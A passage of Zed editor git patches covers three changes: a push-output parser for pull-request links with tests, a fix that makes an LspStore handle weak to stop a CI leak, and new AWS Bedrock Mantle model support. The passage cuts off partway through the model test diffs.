create-PR/MR prompt. It ignores unrelated URLs (for example the OpenSSH
post-quantum warning line).
- `git_panel.rs`: capture that URL in `show_remote_output` into
`pending_pull_request_url`, and prefer it in `create_pull_request`,
falling back to the existing provider construction only when the push
output had no link. The cached URL is consumed once (`take()`) and
cleared when the active repo, the active branch/head, or the pending
remote operation changes, so a later `git: Create Pull Request` action
never opens a stale URL from an earlier push.

Recognized GitHub remotes are unaffected: they still get a link from the
push output, with the provider path as the fallback.

## Testing

Unit tests in `remote_output.rs` cover `extract_pull_request_url` for
the GitHub, GitLab, and Bitbucket prompt formats, the no-link case
(returns `None`, so the provider fallback runs), and an output
containing an unrelated URL that must not be mistaken for the PR link.
The existing remote-operation test also asserts the cached URL is
cleared when a new operation starts.

`cargo test -p git_ui remote_output` passes (5 tests). Tested on macOS.

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

---

Release Notes:

- Fixed "Create Pull Request" button in the toast shown after `git:
push` failing for repositories on unrecognized Git hosts by using the
link printed in the push output.
- Fixed the button shown on the toast after `git: push` for GitLab
branches with an existing merge request. It now shows "View Merge
Request" and links to the existing merge request.

---------

Co-authored-by: Matt Van Horn <455140+mvanhorn@users.noreply.github.com>
Co-authored-by: dino <dinojoaocosta@gmail.com>
---
 crates/git_ui/src/git_panel.rs     |   7 ++
 crates/git_ui/src/remote_output.rs | 110 ++++++++++++++++++++++++++---
 2 files changed, 109 insertions(+), 8 deletions(-)

diff --git a/crates/git_ui/src/git_panel.rs b/crates/git_ui/src/git_panel.rs
index d20065cc6ca312..6c0375fcbfa179 100644
--- a/crates/git_ui/src/git_panel.rs
+++ b/crates/git_ui/src/git_panel.rs
@@ -4693,7 +4693,14 @@ impl GitPanel {
                         .color(Color::Muted),
                 );
                 match (style, is_push) {
+                    (PushPrLink { label, url }, _) => {
+                        this.action(label, move |_window, cx| cx.open_url(&url))
+                    }
                     (Toast | ToastWithLog { .. }, true) => {
+                        // If we were not able to parse a valid URL from the
+                        // output of a push command, we'll simply dispatch the
+                        // generic `CreatePullRequest` action when the toast
+                        // button is pressed.
                         this.action("Create Pull Request", move |window, cx| {
                             window
                                 .dispatch_action(Box::new(zed_actions::git::CreatePullRequest), cx);
diff --git a/crates/git_ui/src/remote_output.rs b/crates/git_ui/src/remote_output.rs
index 157ce8316775d9..3c9921c0f96644 100644
--- a/crates/git_ui/src/remote_output.rs
+++ b/crates/git_ui/src/remote_output.rs
@@ -4,6 +4,17 @@ use git::repository::{Remote, RemoteCommandOutput};
 use ui::SharedString;
 use util::ResultExt as _;
 
+const PULL_REQUEST_HINTS: &[(&str, &str)] = &[
+    // GitHub: "Create a pull request for 'branch' on GitHub by visiting:"
+    ("Create a pull request", "Create Pull Request"),
+    // Bitbucket: "Create pull request for branch:"
+    ("Create pull request", "Create Pull Request"),
+    // GitLab: "To create a merge request for branch, visit:"
+    ("create a merge request", "Create Merge Request"),
+    // GitLab: "View merge request for branch:"
+    ("View merge request", "View Merge Request"),
+];
+
 #[derive(Clone)]
 pub enum RemoteAction {
     Fetch(Option<Remote>),
@@ -24,6 +35,7 @@ impl RemoteAction {
 pub enum SuccessStyle {
     Toast,
     ToastWithLog { output: RemoteCommandOutput },
+    PushPrLink { label: &'static str, url: String },
 }
 
 pub struct SuccessMessage {
@@ -31,6 +43,42 @@ pub struct SuccessMessage {
     pub style: SuccessStyle,
 }
 
+fn extract_pull_request_link(output: &RemoteCommandOutput) -> Option<(&'static str, String)> {
+    let mut pending_label: Option<&'static str> = None;
+
+    for line in output.stderr.lines() {
+        let Some(remote_line) = line.trim_start().strip_prefix("remote:") else {
+            pending_label = None;
+            continue;
+        };
+
+        if let Some((_, label)) = PULL_REQUEST_HINTS
+            .iter()
+            .find(|(hint, _)| remote_line.contains(hint))
+        {
+            pending_label = Some(label);
+        }
+
+        if let Some(url) = extract_url(remote_line)
+            && let Some(label) = pending_label
+        {
+            return Some((label, url));
+        }
+    }
+
+    None
+}
+
+fn extract_url(line: &str) -> Option<String> {
+    let http_index = line.find("https://").or_else(|| line.find("http://"))?;
+    let url = line[http_index..]
+        .split_whitespace()
+        .next()?
+        .trim_end_matches(|character| matches!(character, ',' | '.' | ')' | ']' | '>'));
+
+    Some(url.to_string())
+}
+
 pub fn format_output(action: &RemoteAction, output: RemoteCommandOutput) -> SuccessMessage {
     match action {
         RemoteAction::Fetch(remote) => {
@@ -122,6 +170,11 @@ pub fn format_output(action: &RemoteAction, output: RemoteCommandOutput) -> Succ
                     message: "Push: Everything is up-to-date".to_string(),
                     style: SuccessStyle::Toast,
                 }
+            } else if let Some((label, url)) = extract_pull_request_link(&output) {
+                SuccessMessage {
+                    message: format!("Pushed {} to {}", branch_name, remote_ref.name),
+                    style: SuccessStyle::PushPrLink { label, url },
+                }
             } else {
                 SuccessMessage {
                     message: format!("Pushed {} to {}", branch_name, remote_ref.name),
@@ -161,9 +214,13 @@ mod tests {
         };
 
         let msg = format_output(&action, output);
-
-        assert!(matches!(msg.style, SuccessStyle::ToastWithLog { .. }));
-        assert_eq!(msg.message, "Pushed test_branch to test_remote");
+        if let SuccessStyle::PushPrLink { label, url } = msg.style {
+            assert_eq!(msg.message, "Pushed test_branch to test_remote");
+            assert_eq!(label, "Create Pull Request");
+            assert_eq!(url, "https://example.com/test/test/pull/new/test");
+        } else {
+            panic!("Expected PushPrLink variant");
+        }
     }
 
     #[test]
@@ -191,8 +248,37 @@ mod tests {
 
         let msg = format_output(&action, output);
 
-        assert!(matches!(msg.style, SuccessStyle::ToastWithLog { .. }));
-        assert_eq!(msg.message, "Pushed test_branch to test_remote");
+        if let SuccessStyle::PushPrLink { label, url } = msg.style {
+            assert_eq!(msg.message, "Pushed test_branch to test_remote");
+            assert_eq!(label, "Create Merge Request");
+            assert_eq!(
+                url,
+                "https://example.com/test/test/-/merge_requests/new?merge_request%5Bsource_branch%5D=test"
+            )
+        } else {
+            panic!("Expected PushPrLink variant")
+        }
+    }
+
+    #[test]
+    fn test_push_new_branch_bitbucket_pull_request() {
+        let output = RemoteCommandOutput {
+            stdout: String::new(),
+            stderr: indoc! {"
+                remote:
+                remote: Create pull request for test:
+                remote:   https://bitbucket.example.com/projects/TEST/repos/test/pull-requests?create&sourceBranch=refs/heads/test
+                "}
+            .to_string(),
+        };
+
+        assert_eq!(
+            extract_pull_request_link(&output),
+            Some((
+                "Create Pull Request",
+                "https://bitbucket.example.com/projects/TEST/repos/test/pull-requests?create&sourceBranch=refs/heads/test".to_string()
+            ))
+        );
     }
 
     #[test]
@@ -206,7 +292,9 @@ mod tests {
 
         let output = RemoteCommandOutput {
             stdout: String::new(),
-            // Simulate an extraneous link that should not be found in top 3 lines
+            // Include an unrelated URL outside of the `remote:` lines, in this
+            // case, an OpenSSH warning, to ensure that it is not mistaken for
+            // the merge request link.
             stderr: indoc! {"
                 ** WARNING: connection is not using a post-quantum key exchange algorithm.
                 ** This session may be vulnerable to \"store now, decrypt later\" attacks.
@@ -224,8 +312,13 @@ mod tests {
 
         let msg = format_output(&action, output);
 
-        assert!(matches!(msg.style, SuccessStyle::ToastWithLog { .. }));
-        assert_eq!(msg.message, "Pushed test_branch to test_remote");
+        if let SuccessStyle::PushPrLink { label, url } = msg.style {
+            assert_eq!(msg.message, "Pushed test_branch to test_remote");
+            assert_eq!(label, "View Merge Request");
+            assert_eq!(url, "https://example.com/test/test/-/merge_requests/99999");
+        } else {
+            panic!("Expected PushPrLink variant")
+        }
     }
 
     #[test]
@@ -254,6 +347,7 @@ mod tests {
                 output.stderr,
                 "To http://example.com/test/test.git\n * [new branch]      test -> test\n"
             );
+            assert_eq!(extract_pull_request_link(output), None);
         } else {
             panic!("Expected ToastWithLog variant");
         }

From 5d7d1d3f09f1d0934a472f654a6448a366497edf Mon Sep 17 00:00:00 2001
From: Ben Kunkle <ben@zed.dev>
Date: Tue, 7 Jul 2026 17:59:03 -0400
Subject: [PATCH 319/772] language_extension: Hold LspStore weakly in
 LspAccess::ViaLspStore (#60558)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

# Objective

Fix a Windows CI flake in `extension_host
extension_store_test::test_extension_store_with_test_extension`, which
panicked in GPUI's leak detector with three leaked `LspStore` handles
([example
run](https://github.com/zed-industries/zed/actions/runs/28871529605/job/85635418351)).

## Solution

`LspAccess::ViaLspStore` held a strong `Entity<LspStore>`, cloned into
three `ExtensionHostProxy` registrations by `language_extension::init`.
The proxy sits inside an `Arc` cycle (proxy →
`LanguageServerRegistryProxy` → `LanguageRegistry` →
`ExtensionLspAdapter` → `WasmExtension` → `WasmHost` → proxy), so
whenever an extension LSP adapter was registered at app-drop time, the
cycle pinned the `LspStore` entity after its owning `Project` dropped.
The flake was purely timing: extension reload toggles the adapter
registration, and an unclean LSP pipe shutdown on Windows shifted
teardown into the pinned window.

`ViaLspStore` now holds a `WeakEntity<LspStore>`, upgraded at its sole
use site (`remove_language_server`), skipping the stop task when the
store is gone — matching the existing `ViaWorkspaces` semantics. A dead
store is the expected terminal state after the owning project drops, so
no error is logged or propagated. `Project`/`HeadlessProject` remain the
sole long-term owners of `LspStore`, which is already the convention
everywhere else (e.g. `json_schema_store`, the `lsp_store` message
handlers).

## Testing

- Ran `cargo nextest run -p extension_host
extension_store_test::test_extension_store_with_test_extension` locally:
passes.
- The flake is timing-dependent (reproduced on Windows CI), so a local
pass doesn't prove absence; the fix removes the only strong non-owner
handle, which the leak detector reported.

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

---

Release Notes:

- N/A

---------

Co-authored-by: zed-zippy[bot] <234243425+zed-zippy[bot]@users.noreply.github.com>
---
 .../src/extension_store_test.rs               |  6 ++++-
 .../src/extension_lsp_adapter.rs              | 23 +++++++++++--------
 .../src/language_extension.rs                 |  4 ++--
 crates/remote_server/src/headless_project.rs  |  2 +-
 4 files changed, 21 insertions(+), 14 deletions(-)

diff --git a/crates/extension_host/src/extension_store_test.rs b/crates/extension_host/src/extension_store_test.rs
index 59b00f936f922b..aae9dbb942d8ad 100644
--- a/crates/extension_host/src/extension_store_test.rs
+++ b/crates/extension_host/src/extension_store_test.rs
@@ -769,7 +769,11 @@ async fn test_extension_store_with_test_extension(cx: &mut TestAppContext) {
     theme_extension::init(proxy.clone(), theme_registry.clone(), cx.executor());
     let language_registry = project.read_with(cx, |project, _cx| project.languages().clone());
     language_extension::init(
-        LspAccess::ViaLspStore(project.update(cx, |project, _| project.lsp_store())),
+        LspAccess::ViaLspStore(
+            project
+                .update(cx, |project, _| project.lsp_store())
+                .downgrade(),
+        ),
         proxy.clone(),
         language_registry.clone(),
     );
diff --git a/crates/language_extension/src/extension_lsp_adapter.rs b/crates/language_extension/src/extension_lsp_adapter.rs
index 3c28e07e6b306e..44092bf2639827 100644
--- a/crates/language_extension/src/extension_lsp_adapter.rs
+++ b/crates/language_extension/src/extension_lsp_adapter.rs
@@ -79,16 +79,19 @@ impl ExtensionLanguageServerProxy for LanguageServerRegistryProxy {
 
         let mut tasks = Vec::new();
         match &self.lsp_access {
-            LspAccess::ViaLspStore(lsp_store) => lsp_store.update(cx, |lsp_store, cx| {
-                let stop_task = lsp_store.stop_language_servers_for_buffers(
-                    Vec::new(),
-                    HashSet::from_iter([LanguageServerSelector::Name(
-                        language_server_name.clone(),
-                    )]),
-                    cx,
-                );
-                tasks.push(stop_task);
-            }),
+            LspAccess::ViaLspStore(lsp_store) => {
+                if let Ok(stop_task) = lsp_store.update(cx, |lsp_store, cx| {
+                    lsp_store.stop_language_servers_for_buffers(
+                        Vec::new(),
+                        HashSet::from_iter([LanguageServerSelector::Name(
+                            language_server_name.clone(),
+                        )]),
+                        cx,
+                    )
+                }) {
+                    tasks.push(stop_task);
+                }
+            }
             LspAccess::ViaWorkspaces(lsp_store_provider) => {
                 if let Ok(lsp_stores) = lsp_store_provider(cx) {
                     for lsp_store in lsp_stores {
diff --git a/crates/language_extension/src/language_extension.rs b/crates/language_extension/src/language_extension.rs
index 96536b6c021c6c..ffddd3d90f89ee 100644
--- a/crates/language_extension/src/language_extension.rs
+++ b/crates/language_extension/src/language_extension.rs
@@ -5,13 +5,13 @@ use std::sync::Arc;
 
 use anyhow::Result;
 use extension::{ExtensionGrammarProxy, ExtensionHostProxy, ExtensionLanguageProxy};
-use gpui::{App, Entity};
+use gpui::{App, Entity, WeakEntity};
 use language::{LanguageMatcher, LanguageName, LanguageRegistry, LoadedLanguage};
 use project::LspStore;
 
 #[derive(Clone)]
 pub enum LspAccess {
-    ViaLspStore(Entity<LspStore>),
+    ViaLspStore(WeakEntity<LspStore>),
     ViaWorkspaces(Arc<dyn Fn(&mut App) -> Result<Vec<Entity<LspStore>>> + Send + Sync + 'static>),
     Noop,
 }
diff --git a/crates/remote_server/src/headless_project.rs b/crates/remote_server/src/headless_project.rs
index 57f910b5ea1654..db9ff6524c2b06 100644
--- a/crates/remote_server/src/headless_project.rs
+++ b/crates/remote_server/src/headless_project.rs
@@ -254,7 +254,7 @@ impl HeadlessProject {
 
         cx.subscribe(&lsp_store, Self::on_lsp_store_event).detach();
         language_extension::init(
-            language_extension::LspAccess::ViaLspStore(lsp_store.clone()),
+            language_extension::LspAccess::ViaLspStore(lsp_store.downgrade()),
             proxy.clone(),
             languages.clone(),
         );

From d12b980ee0721dc7fb72aeea511b1ab7b62af98c Mon Sep 17 00:00:00 2001
From: Anant Goel <anant@zed.dev>
Date: Tue, 7 Jul 2026 15:20:34 -0700
Subject: [PATCH 320/772] bedrock: Add native support for Bedrock Mantle models
 (#60480)

Adds native support for AWS Bedrock's Mantle endpoint
(`bedrock-mantle`), which serves models with no `Converse`/`Invoke`
support on `bedrock-runtime`, such as GPT-5.5, GPT-5.4, and Grok 4.3 but
more importantly **open-weight** models

Closes #60471

## What's changed

- Renamed the existing `Model` enum in the `bedrock` crate to
`ConverseModel`, and added a new `MantleModel` enum for Mantle-only
models. Mantle models reuse the existing OpenAI-compatible Chat
Completions/Responses request and response plumbing
(`into_open_ai`/`into_open_ai_response`,
`OpenAiEventMapper`/`OpenAiResponseEventMapper`) already used by the
native OpenAI and OpenAI-compatible providers, rather than introducing
new marshalling code.
- Added a `BedrockMantleModel` language model that routes requests to
the `bedrock-mantle` endpoint, dispatching to Chat Completions or the
Responses API depending on the model. Mantle models appear in the model
picker alongside Converse models under the same Bedrock provider.
- Added region gating: `bedrock-mantle` is only available in a subset of
AWS Regions, so using a Mantle model outside of them surfaces a clear
error naming the current Region and the supported ones, instead of an
opaque HTTP failure.
- Implemented Bedrock bearer token authentication for Mantle requests: a
configured Bedrock API key is used as-is, and every other auth method
(IAM credentials, named profile, SSO, automatic) derives a short-term
token by locally SigV4-presigning a `CallWithBearerToken` request. This
requires no extra network round trip and no token caching, since
re-signing locally is cheap.
- Added a specific error for the 403 you get when your credentials have
`bedrock:CallWithBearerToken` but not the separate
`bedrock-mantle:CallWithBearerToken` permission Mantle models require,
since this is the most common misconfiguration.
- Added a `mantle_available_models` setting so custom models served
through `bedrock-mantle` can be configured, the same way other providers
support custom models via `available_models`.
- Documented Mantle models and the new setting in the Amazon Bedrock
section of [Use a
Gateway](https://zed.dev/docs/ai/use-a-gateway#amazon-bedrock).

## Testing

- Added unit tests covering: the local SigV4 bearer-token signing
(including a byte-for-byte cross-check against a reference
implementation), Mantle endpoint URL construction, the
Mantle-supported-regions list, thinking-effort normalization, and the
settings-to-model protocol mapping.
- `cargo test -p bedrock -p language_models -p settings_content -p
settings` passes.
- `./script/clippy` passes with no new warnings.

Release Notes:

- Added native support for AWS Bedrock's Mantle endpoint, enabling
GPT-5.5, GPT-5.4, and Grok 4.3 through the Amazon Bedrock provider.
---
 Cargo.lock                                    |   1 +
 Cargo.toml                                    |   1 +
 crates/bedrock/src/models.rs                  | 358 +++++--
 crates/language_models/Cargo.toml             |   1 +
 .../language_models/src/provider/bedrock.rs   | 928 +++++++++++++++++-
 crates/language_models/src/settings.rs        |   1 +
 crates/open_ai/src/completion.rs              |  20 +-
 crates/open_ai/src/responses.rs               |  17 +
 crates/settings_content/src/language_model.rs |  30 +
 docs/src/ai/use-a-gateway.md                  |  32 +
 10 files changed, 1251 insertions(+), 138 deletions(-)

diff --git a/Cargo.lock b/Cargo.lock
index c0711dee737037..46c2fc46e2f112 100644
--- a/Cargo.lock
+++ b/Cargo.lock
@@ -9811,6 +9811,7 @@ dependencies = [
  "async-lock",
  "aws-config",
  "aws-credential-types",
+ "aws-sigv4",
  "aws_http_client",
  "base64 0.22.1",
  "bedrock",
diff --git a/Cargo.toml b/Cargo.toml
index 3611fce865bde9..7a7003ec5eb1ce 100644
--- a/Cargo.toml
+++ b/Cargo.toml
@@ -543,6 +543,7 @@ aws-credential-types = { version = "1.2.8", features = [
 aws-sdk-bedrockruntime = { version = "1.112.0", features = [
     "behavior-version-latest",
 ] }
+aws-sigv4 = { version = "1.4.0", features = ["http1"] }
 aws-smithy-runtime-api = { version = "1.9.2", features = ["http-1x", "client"] }
 aws-smithy-types = { version = "1.3.4", features = ["http-body-1-x"] }
 backtrace = "0.3"
diff --git a/crates/bedrock/src/models.rs b/crates/bedrock/src/models.rs
index ce5241a2dbb02a..cd035be819874e 100644
--- a/crates/bedrock/src/models.rs
+++ b/crates/bedrock/src/models.rs
@@ -46,7 +46,7 @@ pub struct BedrockModelCacheConfiguration {
 
 #[cfg_attr(feature = "schemars", derive(schemars::JsonSchema))]
 #[derive(Clone, Debug, Default, Serialize, Deserialize, PartialEq, EnumIter)]
-pub enum Model {
+pub enum ConverseModel {
     // Anthropic Claude 4+ models
     #[serde(
         rename = "claude-fable-5",
@@ -227,7 +227,7 @@ pub enum Model {
     },
 }
 
-impl Model {
+impl ConverseModel {
     pub fn default_fast(_region: &str) -> Self {
         Self::ClaudeHaiku4_5
     }
@@ -817,34 +817,162 @@ impl Model {
     }
 }
 
+/// The wire protocol used to talk to a [`MantleModel`] on the `bedrock-mantle` endpoint.
+#[cfg_attr(feature = "schemars", derive(schemars::JsonSchema))]
+#[derive(Clone, Copy, Debug, Default, Serialize, Deserialize, PartialEq, EnumIter)]
+pub enum MantleProtocol {
+    /// The OpenAI Chat Completions API (`/chat/completions`).
+    #[default]
+    ChatCompletions,
+    /// The OpenAI Responses API (`/responses`).
+    Responses,
+}
+
+/// Models only reachable through the `bedrock-mantle` endpoint's
+/// OpenAI-compatible APIs, i.e. with no `Converse`/`Invoke` support on
+/// `bedrock-runtime`.
+#[cfg_attr(feature = "schemars", derive(schemars::JsonSchema))]
+#[derive(Clone, Debug, Serialize, Deserialize, PartialEq, EnumIter)]
+pub enum MantleModel {
+    #[serde(rename = "gpt-5.5")]
+    Gpt5_5,
+    #[serde(rename = "gpt-5.4")]
+    Gpt5_4,
+    #[serde(rename = "grok-4.3")]
+    Grok4_3,
+    #[serde(rename = "custom")]
+    Custom {
+        name: String,
+        display_name: Option<String>,
+        max_tokens: u64,
+        max_output_tokens: Option<u64>,
+        protocol: MantleProtocol,
+        supports_tools: bool,
+        supports_images: bool,
+        supports_thinking: bool,
+    },
+}
+
+impl MantleModel {
+    /// The model id Zed uses internally (also used as the `name` in settings).
+    pub fn id(&self) -> &str {
+        match self {
+            Self::Gpt5_5 => "gpt-5.5",
+            Self::Gpt5_4 => "gpt-5.4",
+            Self::Grok4_3 => "grok-4.3",
+            Self::Custom { name, .. } => name,
+        }
+    }
+
+    /// The model id as expected in Bedrock Mantle request bodies, e.g. `openai.gpt-5.5`.
+    pub fn request_id(&self) -> &str {
+        match self {
+            Self::Gpt5_5 => "openai.gpt-5.5",
+            Self::Gpt5_4 => "openai.gpt-5.4",
+            Self::Grok4_3 => "xai.grok-4.3",
+            Self::Custom { name, .. } => name,
+        }
+    }
+
+    pub fn display_name(&self) -> &str {
+        match self {
+            Self::Gpt5_5 => "GPT-5.5",
+            Self::Gpt5_4 => "GPT-5.4",
+            Self::Grok4_3 => "Grok 4.3",
+            Self::Custom {
+                display_name, name, ..
+            } => display_name.as_deref().unwrap_or(name.as_str()),
+        }
+    }
+
+    /// Which OpenAI-compatible API this model must be called through.
+    pub fn protocol(&self) -> MantleProtocol {
+        match self {
+            Self::Gpt5_5 | Self::Gpt5_4 | Self::Grok4_3 => MantleProtocol::Responses,
+            Self::Custom { protocol, .. } => *protocol,
+        }
+    }
+
+    pub fn max_token_count(&self) -> u64 {
+        match self {
+            Self::Gpt5_5 | Self::Gpt5_4 => 272_000,
+            Self::Grok4_3 => 1_000_000,
+            Self::Custom { max_tokens, .. } => *max_tokens,
+        }
+    }
+
+    pub fn max_output_tokens(&self) -> u64 {
+        match self {
+            // AWS doesn't document a hard cap for GPT-5.5/5.4 on Mantle.
+            Self::Gpt5_5 | Self::Gpt5_4 => 128_000,
+            Self::Grok4_3 => 131_072,
+            Self::Custom {
+                max_output_tokens, ..
+            } => max_output_tokens.unwrap_or(4_096),
+        }
+    }
+
+    pub fn supports_tools(&self) -> bool {
+        match self {
+            Self::Gpt5_5 | Self::Gpt5_4 | Self::Grok4_3 => true,
+            Self::Custom { supports_tools, .. } => *supports_tools,
+        }
+    }
+
+    pub fn supports_images(&self) -> bool {
+        match self {
+            Self::Gpt5_5 | Self::Gpt5_4 | Self::Grok4_3 => true,
+            Self::Custom {
+                supports_images, ..
+            } => *supports_images,
+        }
+    }
+
+    pub fn supports_thinking(&self) -> bool {
+        match self {
+            Self::Gpt5_5 | Self::Gpt5_4 | Self::Grok4_3 => true,
+            Self::Custom {
+                supports_thinking, ..
+            } => *supports_thinking,
+        }
+    }
+}
+
 #[cfg(test)]
 mod tests {
     use super::*;
 
+    #[test]
+    fn test_builtin_mantle_models_use_responses_protocol() {
+        assert_eq!(MantleModel::Gpt5_5.protocol(), MantleProtocol::Responses);
+        assert_eq!(MantleModel::Gpt5_4.protocol(), MantleProtocol::Responses);
+        assert_eq!(MantleModel::Grok4_3.protocol(), MantleProtocol::Responses);
+    }
+
     #[test]
     fn test_us_region_inference_ids() -> anyhow::Result<()> {
         assert_eq!(
-            Model::ClaudeSonnet4_5.cross_region_inference_id("us-east-1", false)?,
+            ConverseModel::ClaudeSonnet4_5.cross_region_inference_id("us-east-1", false)?,
             "us.anthropic.claude-sonnet-4-5-20250929-v1:0"
         );
         assert_eq!(
-            Model::ClaudeSonnet4.cross_region_inference_id("us-west-2", false)?,
+            ConverseModel::ClaudeSonnet4.cross_region_inference_id("us-west-2", false)?,
             "us.anthropic.claude-sonnet-4-20250514-v1:0"
         );
         assert_eq!(
-            Model::ClaudeFable5.cross_region_inference_id("us-east-1", false)?,
+            ConverseModel::ClaudeFable5.cross_region_inference_id("us-east-1", false)?,
             "us.anthropic.claude-fable-5"
         );
         assert_eq!(
-            Model::ClaudeSonnet5.cross_region_inference_id("us-east-1", false)?,
+            ConverseModel::ClaudeSonnet5.cross_region_inference_id("us-east-1", false)?,
             "us.anthropic.claude-sonnet-5"
         );
         assert_eq!(
-            Model::NovaPro.cross_region_inference_id("us-east-2", false)?,
+            ConverseModel::NovaPro.cross_region_inference_id("us-east-2", false)?,
             "us.amazon.nova-pro-v1:0"
         );
         assert_eq!(
-            Model::DeepSeekR1.cross_region_inference_id("us-east-1", false)?,
+            ConverseModel::DeepSeekR1.cross_region_inference_id("us-east-1", false)?,
             "us.deepseek.r1-v1:0"
         );
         Ok(())
@@ -853,27 +981,27 @@ mod tests {
     #[test]
     fn test_eu_region_inference_ids() -> anyhow::Result<()> {
         assert_eq!(
-            Model::ClaudeSonnet4.cross_region_inference_id("eu-west-1", false)?,
+            ConverseModel::ClaudeSonnet4.cross_region_inference_id("eu-west-1", false)?,
             "eu.anthropic.claude-sonnet-4-20250514-v1:0"
         );
         assert_eq!(
-            Model::ClaudeSonnet4_5.cross_region_inference_id("eu-west-1", false)?,
+            ConverseModel::ClaudeSonnet4_5.cross_region_inference_id("eu-west-1", false)?,
             "eu.anthropic.claude-sonnet-4-5-20250929-v1:0"
         );
         assert_eq!(
-            Model::NovaLite.cross_region_inference_id("eu-north-1", false)?,
+            ConverseModel::NovaLite.cross_region_inference_id("eu-north-1", false)?,
             "eu.amazon.nova-lite-v1:0"
         );
         assert_eq!(
-            Model::ClaudeOpus4_6.cross_region_inference_id("eu-west-1", false)?,
+            ConverseModel::ClaudeOpus4_6.cross_region_inference_id("eu-west-1", false)?,
             "eu.anthropic.claude-opus-4-6-v1"
         );
         assert_eq!(
-            Model::ClaudeOpus4_7.cross_region_inference_id("eu-west-1", false)?,
+            ConverseModel::ClaudeOpus4_7.cross_region_inference_id("eu-west-1", false)?,
             "eu.anthropic.claude-opus-4-7"
         );
         assert_eq!(
-            Model::ClaudeOpus4_8.cross_region_inference_id("eu-west-1", false)?,
+            ConverseModel::ClaudeOpus4_8.cross_region_inference_id("eu-west-1", false)?,
             "eu.anthropic.claude-opus-4-8"
         );
         Ok(())
@@ -882,19 +1010,19 @@ mod tests {
     #[test]
     fn test_inference_profile_only_models_fall_back_to_global() -> anyhow::Result<()> {
         assert_eq!(
-            Model::ClaudeFable5.cross_region_inference_id("eu-west-1", false)?,
+            ConverseModel::ClaudeFable5.cross_region_inference_id("eu-west-1", false)?,
             "global.anthropic.claude-fable-5"
         );
         assert_eq!(
-            Model::ClaudeSonnet5.cross_region_inference_id("eu-west-1", false)?,
+            ConverseModel::ClaudeSonnet5.cross_region_inference_id("eu-west-1", false)?,
             "global.anthropic.claude-sonnet-5"
         );
         assert_eq!(
-            Model::ClaudeFable5.cross_region_inference_id("ap-southeast-2", false)?,
+            ConverseModel::ClaudeFable5.cross_region_inference_id("ap-southeast-2", false)?,
             "global.anthropic.claude-fable-5"
         );
         assert_eq!(
-            Model::ClaudeSonnet5.cross_region_inference_id("ap-northeast-1", false)?,
+            ConverseModel::ClaudeSonnet5.cross_region_inference_id("ap-northeast-1", false)?,
             "global.anthropic.claude-sonnet-5"
         );
         Ok(())
@@ -903,11 +1031,11 @@ mod tests {
     #[test]
     fn test_apac_region_inference_ids() -> anyhow::Result<()> {
         assert_eq!(
-            Model::ClaudeSonnet4_5.cross_region_inference_id("ap-south-1", false)?,
+            ConverseModel::ClaudeSonnet4_5.cross_region_inference_id("ap-south-1", false)?,
             "apac.anthropic.claude-sonnet-4-5-20250929-v1:0"
         );
         assert_eq!(
-            Model::NovaLite.cross_region_inference_id("ap-south-1", false)?,
+            ConverseModel::NovaLite.cross_region_inference_id("ap-south-1", false)?,
             "apac.amazon.nova-lite-v1:0"
         );
         Ok(())
@@ -916,23 +1044,23 @@ mod tests {
     #[test]
     fn test_au_region_inference_ids() -> anyhow::Result<()> {
         assert_eq!(
-            Model::ClaudeHaiku4_5.cross_region_inference_id("ap-southeast-2", false)?,
+            ConverseModel::ClaudeHaiku4_5.cross_region_inference_id("ap-southeast-2", false)?,
             "au.anthropic.claude-haiku-4-5-20251001-v1:0"
         );
         assert_eq!(
-            Model::ClaudeSonnet4_5.cross_region_inference_id("ap-southeast-4", false)?,
+            ConverseModel::ClaudeSonnet4_5.cross_region_inference_id("ap-southeast-4", false)?,
             "au.anthropic.claude-sonnet-4-5-20250929-v1:0"
         );
         assert_eq!(
-            Model::ClaudeOpus4_6.cross_region_inference_id("ap-southeast-2", false)?,
+            ConverseModel::ClaudeOpus4_6.cross_region_inference_id("ap-southeast-2", false)?,
             "au.anthropic.claude-opus-4-6-v1"
         );
         assert_eq!(
-            Model::ClaudeOpus4_7.cross_region_inference_id("ap-southeast-2", false)?,
+            ConverseModel::ClaudeOpus4_7.cross_region_inference_id("ap-southeast-2", false)?,
             "au.anthropic.claude-opus-4-7"
         );
         assert_eq!(
-            Model::ClaudeOpus4_8.cross_region_inference_id("ap-southeast-2", false)?,
+            ConverseModel::ClaudeOpus4_8.cross_region_inference_id("ap-southeast-2", false)?,
             "au.anthropic.claude-opus-4-8"
         );
         Ok(())
@@ -941,15 +1069,15 @@ mod tests {
     #[test]
     fn test_jp_region_inference_ids() -> anyhow::Result<()> {
         assert_eq!(
-            Model::ClaudeHaiku4_5.cross_region_inference_id("ap-northeast-1", false)?,
+            ConverseModel::ClaudeHaiku4_5.cross_region_inference_id("ap-northeast-1", false)?,
             "jp.anthropic.claude-haiku-4-5-20251001-v1:0"
         );
         assert_eq!(
-            Model::ClaudeSonnet4_5.cross_region_inference_id("ap-northeast-3", false)?,
+            ConverseModel::ClaudeSonnet4_5.cross_region_inference_id("ap-northeast-3", false)?,
             "jp.anthropic.claude-sonnet-4-5-20250929-v1:0"
         );
         assert_eq!(
-            Model::Nova2Lite.cross_region_inference_id("ap-northeast-1", false)?,
+            ConverseModel::Nova2Lite.cross_region_inference_id("ap-northeast-1", false)?,
             "jp.amazon.nova-2-lite-v1:0"
         );
         Ok(())
@@ -958,7 +1086,7 @@ mod tests {
     #[test]
     fn test_ca_region_inference_ids() -> anyhow::Result<()> {
         assert_eq!(
-            Model::NovaLite.cross_region_inference_id("ca-central-1", false)?,
+            ConverseModel::NovaLite.cross_region_inference_id("ca-central-1", false)?,
             "ca.amazon.nova-lite-v1:0"
         );
         Ok(())
@@ -967,11 +1095,11 @@ mod tests {
     #[test]
     fn test_gov_region_inference_ids() -> anyhow::Result<()> {
         assert_eq!(
-            Model::ClaudeSonnet4_5.cross_region_inference_id("us-gov-east-1", false)?,
